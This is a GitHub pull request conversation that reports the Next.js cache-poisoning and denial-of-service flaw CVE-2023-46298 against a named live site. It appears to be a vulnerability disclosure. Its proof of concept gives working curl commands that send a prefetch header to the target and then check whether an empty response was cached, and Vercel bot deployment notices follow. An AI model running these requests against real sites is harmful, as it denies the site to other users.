Skip to content

Conversation

@avicoder
Copy link

Vulnerability:

The report identifies CVE-2023-46298, described as a Cache Poisoning and potential Denial of Service (DoS) flaw in Next.js versions before 13.4.20-canary.13.

Cause:

The core issue is, as the report states, the lack of a Cache-Control header in empty prefetch responses. This flaw allows a Content Delivery Network (CDN) to cache an empty response, which then gets served to all subsequent users requesting the same resource.

Impact:

The stated impact—that an attacker can cause other users to be unable to access the website—is consistent with the known Denial of Service (DoS) consequence of this cache poisoning vulnerability. The cached empty response effectively locks out legitimate users until the cache expires.

Severity:

The classification of the severity as High is consistent with advisories from several security firms (e.g., Wiz states a CVSS v3.1 base score of 7.5).

POC:

Phase 1: Cache Poisoning

This request will use the unique query parameter and the X-Middleware-Prefetch: 1 header to induce a vulnerable Next.js server to return an empty response without a restrictive Cache-Control header. The CDN may then cache this empty response, poisoned to the unique query parameter's path.

Target: https://plugin.jup.ag/ Poisoning Endpoint: /?poison_test=12345 (using a unique string for the test)

# Set base variables for clarity
TARGET_HOST="plugin.jup.ag"
CACHE_BUSTER="poison_test=$(date +%s)" # Use a unique timestamp to ensure no existing cache
POISONING_URL="https://${TARGET_HOST}/?${CACHE_BUSTER}"

# Execute the poisoning request
echo "--- 1. Sending Cache Poisoning Request ---"
curl -k -i -X GET \
  -H "Host: ${TARGET_HOST}" \
  -H "X-Middleware-Prefetch: 1" \
  -H "User-Agent: Mozilla/5.0 (Pentest PoC)" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Sec-Fetch-Dest: document" \
  -H "Sec-Fetch-Mode: navigate" \
  "${POISONING_URL}"

Expected Result (on the first request):

  • The server responds with an empty body, typically just {} or an empty string.
  • Crucially, the response headers must not contain a restrictive Cache-Control: no-cache or similar header.
  • A vulnerable CDN will cache this empty response associated with your unique GET parameter.

Phase 2: Verification

This request attempts to access the same unique URL again to determine if the empty response from Phase 1 was successfully cached by the CDN.

Re-use the same URL to test the cache

VERIFICATION_URL="https://${TARGET_HOST}/?${CACHE_BUSTER}"


echo -e "\n--- 2. Sending Verification Request (should hit the poisoned cache) ---"
curl -k -i -X GET \
  -H "Host: ${TARGET_HOST}" \
  -H "User-Agent: Mozilla/5.0 (Verification PoC)" \
  "${VERIFICATION_URL}"

Successful Exploitation Indication:

If the attack is successful, the CDN will serve the empty response from its cache, showing the impact of the cache poisoning.

  • Look for a response body that is empty or only contains a small, invalid JSON object like {}.
  • The headers will typically show a HIT (or similar indicator) for an upstream CDN (e.g., cf-cache-status: HIT for Cloudflare).
  • The intended application content will not be returned.

@avicoder avicoder requested a review from worlddlckgh November 21, 2025 16:11
@vercel
Copy link

vercel bot commented Nov 21, 2025

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Preview Updated (UTC)
deprecated-terminal Error Error Nov 21, 2025 4:11pm
plugin Error Error Nov 21, 2025 4:11pm

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants